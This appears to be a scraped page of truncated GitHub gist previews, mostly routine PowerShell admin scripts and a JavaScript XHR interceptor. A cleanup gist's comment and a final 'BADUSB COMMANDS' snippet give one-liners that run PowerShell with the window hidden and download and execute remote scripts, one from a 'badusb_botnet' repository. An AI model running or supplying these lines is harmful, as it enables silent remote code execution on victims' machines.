This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#credits: Mostly to tobibeer and Snak3d0c @ https://stackoverflow.com/questions/47345612/export-chrome-bookmarks-to-csv-file-using-powershell | |
#Path to chrome bookmarks | |
$pathToJsonFile = "$env:localappdata\Google\Chrome\User Data\Default\Bookmarks" | |
$htmlOut = 'C:\temp\ChromeBookmarks.html' | |
$htmlHeader = @' | |
<!DOCTYPE NETSCAPE-Bookmark-file-1> | |
<!--This is an automatically generated file. | |
It will be read and overwritten. | |
Do Not Edit! --> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Set-ExecutionPolicy Bypass -Scope Process -Force; iex ((New-Object System.Net.WebClient).DownloadString('https://api.cacher.io/raw/0fcd76d0761e565a8c4e/10eb91268af60bb8abb2/start-cleanup')) | |
Function Start-Cleanup { | |
<# | |
.SYNOPSIS | |
Automate cleaning up a C:\ drive with low disk space | |
.DESCRIPTION | |
Cleans the C: drive's Window Temperary files, Windows SoftwareDistribution folder, | |
the local users Temperary folder, IIS logs(if applicable) and empties the recycling bin. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
################################################### | |
# | |
# Newtelco Windows PC Setup Script | |
# Author: [email protected] | |
# Date: 05.04.19 | |
# | |
################################################### | |
# Install Boxstarter (run in a PowerShell (Administrator) shell) | |
Set-ExecutionPolicy RemoteSigned |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#---------------------------------[Slack Setup]--------------------------------- | |
#bot name to post into slack | |
$slackBotName = "YourSlackBotName" | |
#your slack webhook key - blank for no trigger | |
$slackKey = "YOURSLACKWEBHOOK" | |
#slack channel to post into | |
$slackChannel = "#YourChannel" | |
#---------------------------------[Services Setup]--------------------------------- |
This UserScript allow you to search Java API documents from address bar.
- Install UserScript extension
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#Inspired from https://github.com/ferventcoder/vagrant-windows-puppet/blob/master/boxes/shared/shell/InstallPuppetFromMSI.ps1 | |
$7ZipUrl = "https://www.7-zip.org/a/7z1806.msi" | |
$7ZipInstallerPath = 'c:\vagrant\bin' | |
$7ZipInstallerFile = '7z1806.msi' | |
$7ZipInstaller = Join-Path $7ZipInstallerPath $7ZipInstallerFile | |
if ([System.IntPtr]::Size -eq 8) { | |
Write-Host "Going to 7Zip 64-bit." |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function interceptNetworkRequests(ee) { | |
const open = XMLHttpRequest.prototype.open; | |
const send = XMLHttpRequest.prototype.send; | |
const isRegularXHR = open.toString().indexOf('native code') !== -1; | |
// don't hijack if already hijacked - this will mess up with frameworks like Angular with zones | |
// we work if we load first there which we can. | |
if (isRegularXHR) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<# | |
BADUSB COMMANDS: | |
# Execute | |
powershell.exe -windowstyle hidden -file this_file.ps1 | |
#Execute script from github | |
iex ((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/alexfrancow/badusb_botnet/master/poc.ps1')) | |
PowerShell.exe -WindowStyle Hidden -Command iex ((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/alexfrancow/badusb_botnet/master/poc.ps1')) | |
PowerShell.exe -WindowStyle Minimized -Command iex ((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/alexfrancow/badusb_botnet/master/poc.ps1')) | |
REGEDIT: |